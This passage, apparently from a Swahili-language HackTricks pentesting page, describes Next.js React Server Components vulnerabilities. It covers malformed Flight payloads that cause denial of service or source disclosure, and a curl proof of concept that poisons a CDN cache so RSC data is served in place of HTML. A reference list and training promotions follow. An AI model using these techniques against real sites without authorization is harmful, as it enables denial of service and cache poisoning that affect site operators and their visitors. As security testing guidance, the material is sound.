1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – payloads za Flight zilizoharibika zinaweza kuzunguza resolver ya RSC hadi mzunguko usio na mwisho (pre-auth DoS) au kulazimisha serialization ya msimbo wa Server Function uliokompilwa kwa vitendo vingine. App Router builds ≥13.3 zimeathiriwa hadi zifanyiwe patchi; 15.0.x–16.0.x zinahitaji mistari maalum ya patchi kutoka kwenye advisory ya upstream. Tumia tena njia ya kawaida ya Server Action lakini piga mtiririko wa body text/x-component yenye marejeo ya $ ya matumizi mabaya. Kwa upande wa CDN, muunganisho uliokwama unaendelea kufunguliwa kwa sababu ya timeout za cache, na hivyo kufanya DoS kuwa rahisi.

• Kidokezo cha triage: Malengo yasiyofanyiwa patch hurudisha 500 na E{"digest" baada ya payloads za Flight zilizoharibika; builds zilizofanyiwa patch hurudisha 400/200. Jaribu endpoint yoyote inayotoshaidisha kwa kutiririsha Flight chunks (tafuta headers za Next-Action au majibu ya text/x-component) na irudie ukiwa na payload iliyobadilishwa.

2. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – kukosekana kwa Vary kuliruhusu jibu la Accept: text/x-component kuhifadhiwa kwenye cache na kutumiwa kwa browsers zinazotarajia HTML. Ombi moja la priming linaweza kubadilisha ukurasa na kuonyesha payloads ghafi za RSC. PoC flow:

# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

Ikiwa jibu la pili linarudisha data za JSON za Flight badala ya HTML, route inaweza kuathiriwa na cache (poisonable). Safisha cache baada ya kujaribu.

Marejeo

• Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
• NextjsServerActionAnalyzer (Burp extension)
• CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
• CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
• 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
• assetnote/react2shell-scanner
• Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
• GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.